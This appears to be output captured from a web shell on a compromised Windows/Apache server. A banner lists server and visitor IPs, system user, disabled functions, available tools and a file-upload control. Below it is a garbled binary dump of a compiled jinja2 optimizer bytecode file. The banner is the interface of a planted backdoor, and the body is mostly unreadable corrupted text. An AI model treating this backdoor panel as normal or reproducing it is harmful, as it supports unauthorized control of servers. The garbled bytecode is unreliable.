| Server IP : 127.0.0.1 / Your IP : 216.73.216.109 Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10 System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64 User : SERVERWEB ( 0) PHP Version : 8.1.10 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/cygwin64/lib/python3.9/site-packages/jinja2/__pycache__/ |
Upload File : |
a
V�4dr � @ s\ d dl ZddlmZ ddlmZ ejr2ddlmZ ej dej d�dd �Z
G d
d� de�ZdS )� N� )�nodes)�NodeTransformer)�Environmentr )�node�environment�returnc C s t |�}t�tj|�| ��S �N)� Optimizer�t�castr �NodeZvisit)r r Z optimizer� r �4/usr/lib/python3.9/site-packages/jinja2/optimizer.py�optimize s r c s@ e Zd Zddd�dd�Zejejejejd�� fdd�Z� Z S ) r
zt.Optional[Environment]N)r r c C s
|| _ d S r )r )�selfr r r r �__init__ s zOptimizer.__init__)r �args�kwargsr c sj t � j|g|�R i |��}t|tj�rfz*tjj|�|r>|d nd �|j| j d�W S tj
yd Y n0 |S )Nr )�linenor )�super�
generic_visit�
isinstancer ZExprZConstZfrom_untrustedZas_constr r Z
Impossible)r r r r �� __class__r r r s �zOptimizer.generic_visit)
�__name__�
__module__�__qualname__r r r
r �Anyr �
__classcell__r r r r r
s �r
)�typingr � r Zvisitorr �
TYPE_CHECKINGr r r
r r
r r r r �<module>
s